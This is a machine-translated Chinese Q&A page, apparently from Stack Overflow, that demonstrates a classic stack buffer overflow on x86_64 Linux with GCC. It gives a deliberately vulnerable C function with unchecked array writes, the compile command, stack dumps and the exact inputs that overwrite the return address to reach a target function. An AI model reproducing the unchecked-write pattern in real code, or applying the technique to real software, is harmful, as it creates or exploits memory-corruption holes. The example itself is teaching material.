下面是一个利用我的系统上工作(在x86_64 GNU/Linux的GCC)。请不要告诉我,你已经尝试过它,但它“没有工作” - 程序故意调用未定义的行为,而这本质上是不可移植的。 C标准中没有任何内容说编译器必须生成易于以便携方式利用的代码。
举一个完整的例子,我修改了一下代码。首先,一些标题:
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
这是我们希望利用这个漏洞的功能:
static int
vulnerable(void)
{
uint64_t a[4];
int n;
int i;
for (i = 0; i < 10; ++i)
printf("a[%d] = 0x%016lX\n", i, a[i]);
printf("Enter the number of values: ");
scanf("%d", &n);
for (i = 0; i < n; ++i)
{
printf("Enter value %d of %d: ", i, n);
uint64_t temp;
scanf("%lX", &temp);
if (temp)
a[i] = temp;
}
for (i = 0; i < 10; ++i)
printf("a[%d] = 0x%016lX\n", i, a[i]);
return n;
}
我已经修改了代码一点,这样它将只写非零值。这使得我们覆盖不想覆盖的东西的可能性更小。这当然是不必要的,因为在这种情况下,我们可以简单地输入我们知道已存储在地址中的值。
这里是我们想调用的函数:
static void
target(void)
{
printf("Exploit succeeded!\n");
exit(0);
}
为了避免阅读汇编或反编译的对象,我们将添加一些诊断输出到main
功能。应该清楚的是,漏洞利用不依赖于此。
int
main()
{
assert(sizeof(void *) == sizeof(uint64_t)); /* (1) */
printf("%p return\n", (&&label)); /* (2) */
printf("%p target\n", target); /* (3) */
vulnerable();
label:
return 0;
}
行(1)只是为了确保我们正在假设正确的地址大小。在第(2)行中,我们打印当vulnerable
被调用时在栈上的返回地址。 (&&label
语法是用于获取标签地址的GCC扩展。)第(3)行输出目标函数的地址。
我们不希望编译器做可能会破坏我们的漏洞,所以我们会禁用所有的优化和编译,如智能的东西:
$ gcc -O0 -o main main.c -static
然后,当我们运行程序,它可能输出以下:
$ ./main
0x400e44 return
0x400dfb target
a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] = 0x0000000000400E44
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093
我们迅速发现返回地址偏移量为7 我们不妨从认真阅读汇编代码获得同样的知识。知道什么是我们必须做的,我们喂计划用:
Enter the number of values: 8
Enter value 0 of 8: 0
Enter value 1 of 8: 0
Enter value 2 of 8: 0
Enter value 3 of 8: 0
Enter value 4 of 8: 0
Enter value 5 of 8: 0
Enter value 6 of 8: 0
Enter value 7 of 8: 0x400dfb
以下输出告诉我们,我们已经成功地改写了返回地址和该漏洞确实成功了。
a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] = 0x0000000000400DFB
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093
Exploit succeeded!
目前尚不清楚你想要什么,为什么。 – 2014-09-29 19:51:04
编写更多数据,它最终会以足够的数据崩溃。您需要覆盖堆栈中存储的返回值。 – m0skit0 2014-09-29 19:51:09
您将需要更多信息(或在试验和错误期间耐心等待)才能成功利用此代码。至少,你需要整个函数的代码,并且知道体系结构,编译器和操作系统。 – 5gon12eder 2014-09-29 19:51:32